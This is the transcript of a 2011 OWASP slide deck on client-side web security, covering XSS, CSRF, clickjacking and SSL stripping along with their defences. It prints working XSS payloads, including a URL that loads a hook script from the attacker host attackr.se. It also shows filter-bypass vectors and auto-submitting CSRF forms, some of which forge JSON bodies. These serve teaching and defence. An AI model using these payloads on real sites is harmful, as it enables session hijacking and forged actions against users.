Application Security for RIAs

Application Security for RIAs

John Wilander, & OWASP

Wednesday, November 2, 2011

Frontend developer atSvenska Handelsbanken

Researcher in application security

Co-leader OWASP Sweden

OWASP == The Open Web Application Security Project

Cheat sheets, tools, code, guidelines

https://owasp.org

@johnwilander

johnwilander.com (music)


ÅåÄäÖö


OWASP Top 10Top web applicationsecurity risks 2010


1. Injection2. Cross-Site Scripting (XSS)3. Broken Authentication and Session

Management4. Insecure Direct Object References5. Cross-Site Request Forgery (CSRF)6. Security Misconfiguration7. Insecure Cryptographic Storage8. Failure to Restrict URL Access9. Insufficient Transport Layer Protection10.Unvalidated Redirects and Forwards


”Do I have to care?”


From: WhiteHat Website Security Statistic Report, Winter 2011

Likelihood of ≥ 1 vulnerability on your site


Per extension

.asp .aspx .do .jsp .php

Sites having had ≥ 1serious vulnerability

74 % 73 % 77 % 80 % 80 %

Sites currently having ≥ 1serious vulnerability

57 % 58 % 56 % 59 % 63 %

From: WhiteHat Website Security Statistic Report, Spring 2010Wednesday, November 2, 2011

But we’re moving towards more

code client-side


From: IBM X-Force 2011 Mid-Year Trend and Risk Report

Client-Side, JavaScript Vulnerabilities


• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)

• Clickjacking• Man-In-the-Middle SSL

Focus Today


XSS ...the hack that keeps on hacking


Cross-Site ScriptingTheory

Cross-Site

Scripting


Cross-Site ScriptingType 1, reflected

Cross-Site

Scripting

Phising


Cross-Site ScriptingType 2, stored

Cross-Site


Cross-Site ScriptingType 2, stored

Scripting


Cross-Site ScriptingType 0, DOM-based

Cross-Site

Scripting

Phising


Cross-Site ScriptingType 0, DOM-based

Phising

Cross-Site

Scripting

No server roundtrip!

Also, single-page interfacesmake injected scripts ”stick”in the DOM.


https://secure.bank.com/authentication#language=sv&country=SE


https://secure.bank.com/authentication#language=sv&country=SE

Never sent to server

Be careful when you usethis data on your page


https://secure.bank.com/authentication#language=<script src="http://attackr.se:

3000/hook.js"></script>&country=SE

Would you click this?


https://secure.bank.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C

%2Fscript%3E&country=SE



http://bit.ly/Yg4T32



Filter out <script>?

http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts

/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");},

var ... , stripScriptsRe = /(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)/ig,




Filter out <script>?<img src=1 onerror=alert(1)>

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<body onload=alert('XSS')>

<table background="javascript:alert('XSS')">

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//


”C’mon, such attacks don’t really work,

do they?”

Yep, demo.


DOM-Based XSSTwitter September 2010

Full story athttp://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html


http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);



What does this code do?



”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returns”/johnwilander”




window.location = ”/johnwilander”initial ’/’ => keeps the domain but changes the path




window.location = ”/johnwilander”initial ’/’ => keeps the domain but changes the path

Sotwitter.com/#!/johnwilanderbecomestwitter.com/johnwilander

Read more: http://kotowicz.net/absolute/


http://kotowicz.net/absolute/

http://kotowicz.net/absolute/

http://twitter.com/#!javascript:alert(document.domain);


http://twitter.com/#!javascript:alert(document.domain);

Never sent to server=> DOM-based XSS


var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

The Patch™


var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}

Replaces the first occuranceof the search string

The Patch™


http://twitter.com/#!javascript::alert(document.domain);


(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);

The 2nd Patch™


(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern

delimiters



Global match

Regexp patterndelimiters



Global match Ignore case

Regexp patterndelimiters


Were they done now?


http://twitter.com#!javascript&x58;alert(1)


http://twitter.com#!javascript&x58;alert(1)

HTML entity version of ’:’


(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window);

The n:th Patch™(this one works)

And hey, Twitter is doing the right thing: https://twitter.com/about/security


https://twitter.com/about/security

https://twitter.com/about/security

Fix these issues properly with ...

Client-Side Encoding


https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize()

Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>

• $.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()

• $.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()

• $.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes

• $.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc

• $.encoder.encodeForURL()Encodes for safe usage in href etc


https://github.com/chrisisbeef/jquery-encoder

https://github.com/chrisisbeef/jquery-encoder

Let’s do a short demo of that


Also, check out ...

Content Security Policyhttp://people.mozilla.com/~bsterne/

content-security-policy/


http://people.mozilla.com/~bsterne/content-security-policy/




Only allow scripts from whitelisted domainsandonly allow scripts from files, i.e. no inline scripts

New HTTP Response Header Saying ...


'self' = same URL, protocol and port

X-Content-Security-Policy: default-src 'self'Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com


CSRFmy current favorite!


Cross-Site Request Forgery

Cross-Site

Request Forgery


Cross-Site Request Forgery

Cross-Site

Request Forgery

Phising


<img src=”https://secure.bank.com/logo.png" />

Is www.attackr.se allowed toload images like this:

?


<img src=”https://secure.bank.com/authentication#language=sv&country=SE" />

?

Is www.attackr.se allowed toload images like this:


<img src=”https://secure.bank.com/authentication#language=sv&country=SE"

height=0 width=0 />

With image tags www.attackr.se can silentlysend HTTP GET requests to any domain


”Will restricting to HTTP POST save me?”


What’s on your mind? What’s on your mind?POST POST


I love OWASP!



I love OWASP!


John: I love OWASP!


What’s on your mind?I hate OWASP!

What’s on your mind?POST POST


What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

John: I hate OWASP!


What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script type="text/javascript"> $(document).ready(function() { $('#form').submit(); });</script>


What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script> $(document).ready(function() { $('#target').submit(); });</script>


There used to be a protection in web 1.5


Forced Browsingwizard-style

Shipment info ✉

Next

Payment info $

Buy!



Next Buy!

Token

Shipment info ✉ Payment info $



Token 1 Token 2 Token 3

Token 3 Wednesday, November 2, 2011



State built up i steps, server roundtrip in-between

Token 3 Wednesday, November 2, 2011



Token 3

Couldn’t forge

request to

last ste

p

without a

valid token


But in RIAs ...


RIA & client-side state

{”purchase”: {}}



{”purchase”: { ”items”: [{}] }}



{”purchase”: { ”items”: [{},{}] }}



{”purchase”: { ”items”: [{},{}], ”shipment”: {} }}



{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}


Can an attacker forge such a JSON structure?


CSRF possible?

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}





</form>

Forms produce a request body that looks like this:

theName=theValue

... and that’s not valid JSON.



<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />


</form>

Produces a request body that looks like this:

{"id": 0, "nickName": "John","oneLiner": "I hate OWASP!","timestamp": "20111006"}//=dummy

... and that is acceptable JSON!


Demo POST CSRF against REST service


Demo XSS + CSRF with

The Browser Exploitation Frameworkhttp://beefproject.com/


Important in yourREST API

• Restrict HTTP method, e.g. POSTEasier to do CSRF with GET

• Restrict to AJAX if applicableX-Requested-With:XMLHttpRequestCross-domain AJAX prohibited by default

• Restrict media type(s), e.g. application/jsonHTML forms only allow URL encoded, multi-part and text/plain


Attacker may spoof headers via Flash proxy

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html


Double Submit


Double Submit(CSRF protection)

Anti-CSRF valueas cookie ...

... andrequest parameter



Cannot read theanti-CSRF cookie toinclude it as parameter

cookie ≠request parameter



Anti-CSRF cookie canbe generated client-side=> no server-side state


How To Get It Right

• Join your local OWASP chapterhttps://www.owasp.org/index.php/OWASP_Chapter

• Start following these fellas on Twitter:@WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc

• Start hacking – it’s fun!Best place to start? Your own apps of course.Just stay legal ;)


https://www.owasp.org/index.php/OWASP_Chapter

https://www.owasp.org/index.php/OWASP_Chapter

@[email protected]

http://appsandsecurity.blogspot.com


Clickjacking and MItMif there’s time


Clickjacking Demo


X-Frame-Optionshttp://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-

clickjacking-defenses.aspxhttp://tools.ietf.org/html/draft-

gondrom-frame-options-01


http://tools.ietf.org/html/draft-gondrom-frame-options-01




No page can load me in an iframeoronly my own domain can load me in an iframe


X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

(Coming:X-Frame-Options: ALLOW-FROM [list])


MItM Demo


Moxie’s SSL Strip

Terminates SSL

Changes https to http

Normal https to the server

Acts as client

http https


Moxie’s SSL Striphttp https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?


Moxie’s SSL Strip

Strip secure attribute off all cookies

Strip off all request encodings

Strip off all if-modified-since in request

302 back to same page, set-cookie expired

http https

Secure cookie?

Encoding, gzip?

Cached content?

Ongoing sessions?


SSL Strip & Torlogin.yahoo.com

GmailHotmail

PayPal

11450139

In 24 h

Tor node

Tor node

Tor nodeTor nodeTor node

Tor exit node with SSL Strip


HTTP Strict Transport Security

http://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec-02






Require SSL without warnings for X seconds aheadandpotentially do the same for my subdomains too


Strict-Transport-Security: max-age=86400

Strict-Transport-Security: max-age=86400; includeSubdomains


W3C Web Application Security Working Grouphttp://www.w3.org/2011/webappsec/


http://www.w3.org/2011/webappsec/

http://www.w3.org/2011/webappsec/

Application Security for RIAs

Technology

Transcript of Application Security for RIAs